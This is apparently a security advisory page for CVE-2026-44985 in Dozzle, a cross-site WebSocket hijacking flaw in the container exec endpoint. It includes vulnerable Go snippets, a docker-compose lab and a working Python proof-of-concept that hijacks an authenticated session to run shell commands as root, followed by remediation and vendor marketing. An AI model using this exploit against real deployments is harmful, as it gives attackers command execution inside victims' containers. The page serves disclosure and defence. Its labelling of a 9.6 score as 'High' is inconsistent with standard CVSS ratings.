Summary
The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH), even when authentication is properly configured.
An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.
Root cause
1. CheckOrigin bypassed (internal/web/terminal.go:15-21)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool {
return true
},
}
The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.
2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)
http.SetCookie(w, &http.Cookie{
Name: "jwt",
Value: token,
HttpOnly: true,
Path: "/",
SameSite: http.SameSiteLaxMode,
Expires: expires,
})
SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.
Attack scenario
Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.
- Attacker controls a page on the same site (e.g.,
attacker.example.com, or another service onlocalhost:8888while Dozzle is onlocalhost:9090) - Victim visits the attacker's page while authenticated to Dozzle
- Attacker's JavaScript opens
new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec') - Browser sends the JWT cookie (same-site,
SameSite=Laxallows it) - Dozzle's
CheckOriginreturnstrue, upgrade accepted - Auth middleware validates the JWT from the cookie, request authenticated
- Attacker has a shell in the victim's authorized containers
PoC (auth enabled)
Setup, Dozzle with authentication + shell:
docker-compose.yml:
services:
dozzle:
image: amir20/dozzle:latest
ports:
- "9090:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./data:/data
environment:
- DOZZLE_AUTH_PROVIDER=simple
- DOZZLE_ENABLE_SHELL=true
target:
image: alpine:latest
command: sh -c "while true; do sleep 3600; done"
data/users.yml:
users:
admin:
name: Admin
# password: admin123
password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
email: [email protected]
roles: shell
Exploit, CSWSH with cross-origin Origin header + victim's cookie:
import json, time, websocket, requests
target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
if line and line.startswith("data: "):
data = json.loads(line[6:])
if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
host_id = data[0]["host"]
cid = data[0]["id"]
break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
ws_url, timeout=10,
cookie=f"jwt={jwt}",
origin="http://localhost:8888" # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request
ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()
ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
while True:
output.append(ws.recv())
except:
pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
ws2.close()
except Exception as e:
print(f"Without cookie: {e}") # 401 Unauthorized
Result:
[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized
Impact
Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:
- Execute arbitrary commands in any container the victim has access to
- Read secrets, environment variables, and files inside containers
- Pivot to other services accessible from the container network
- Potentially escape to the Docker host if the socket is mounted writable
CVE-2026-44985 has a CVSS score of 9.6 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// Default CheckOrigin rejects cross-origin requests
}
Frequently Asked Questions
- What is CVE-2026-44985? CVE-2026-44985 is a high-severity security vulnerability in github.com/amir20/dozzle (go), affecting versions <= 10.5.1. No fixed version is listed yet.
- How severe is CVE-2026-44985? CVE-2026-44985 has a CVSS score of 9.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/amir20/dozzle are affected by CVE-2026-44985? github.com/amir20/dozzle (go) versions <= 10.5.1 is affected.
- Is there a fix for CVE-2026-44985? No fixed version is listed for CVE-2026-44985 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-44985 exploitable, and should I be worried? Whether CVE-2026-44985 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44985 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.